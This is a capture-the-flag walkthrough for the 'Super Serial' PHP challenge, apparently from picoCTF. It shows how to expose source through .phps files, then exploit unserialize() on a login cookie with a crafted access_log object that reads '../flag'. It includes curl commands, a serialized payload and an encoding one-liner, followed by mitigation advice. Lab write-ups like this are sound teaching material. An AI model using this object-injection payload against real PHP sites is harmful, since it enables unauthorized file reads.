Super Serial

Published: April 2, 2026

Description

Try to recover the flag from this PHP web application. Start with /robots.txt.

Remote

Navigate to the challenge URL and start with /robots.txt.

curl http://<server>/robots.txt

Solution

  1. Step 1Discover source files via .phps extension
    robots.txt hints at a .phps extension. Requesting index.phps returns the PHP source code of index.php. Do the same for authentication.phps. Read through both files to understand the application logic.
    curl http://<server>/index.phps
    curl http://<server>/authentication.phps
    Learn more

    The .phps extension is an Apache configuration for serving PHP source code with syntax highlighting instead of executing it. When misconfigured, it exposes the entire source code of PHP applications. This is a common misconfiguration that attackers check early in web application recon.

  2. Step 2Identify the unsafe unserialize() call
    In authentication.phps, you will find: unserialize($_COOKIE['login']). The authentication.php file also defines an access_log class with a __toString() magic method that reads the file specified in its log_file property. This is a PHP object injection vulnerability.
    Learn more

    PHP object injection occurs when user-controlled data is passed to unserialize(). PHP's serialization format encodes the class name and properties of objects -- an attacker can craft a serialized string that instantiates any class defined in the application with arbitrary property values.

    Magic methods like __toString(), __destruct(), and __wakeup() are called automatically by PHP at specific moments. __toString() runs whenever the object is used in a string context. If it reads a file, an attacker controlling the log_file property can read arbitrary files.

  3. Step 3Craft and send the malicious serialized payload
    Create a serialized access_log object with log_file set to '../flag'. The PHP serialization format for this is: O:10:"access_log":1:{s:8:"log_file";s:7:"../flag";}. Base64-encode and URL-encode this string, then send it as the login cookie.
    python3 -c " import base64, urllib.parse payload = 'O:10:"access_log":1:{s:8:"log_file";s:7:"../flag";}' encoded = urllib.parse.quote(base64.b64encode(payload.encode())) print(encoded) "
    curl http://<server>/authentication.php --cookie "login=<encoded_payload>"
    Learn more

    PHP's serialization format: O:<length>:"<classname>":<num_properties>:{<properties>}. A string property: s:<length>:"<value>". You must count bytes exactly -- the lengths must match the actual string lengths.

    The path ../flag navigates one directory above the web root where the flag file is stored. The application reads and displays this file when the cookie is deserialized and the object is used in a string context (triggering __toString()).

    Mitigation: Never call unserialize() on user-supplied data. Use JSON for data exchange instead -- it does not support object instantiation. If serialization is necessary, use a cryptographic signature (like HMAC) to prevent tampering.

Flag

picoCTF{...}

PHP unserialize() on cookie data is a critical vulnerability -- the __toString magic method runs when the object is used as a string, enabling arbitrary file reads.

More Web Exploitation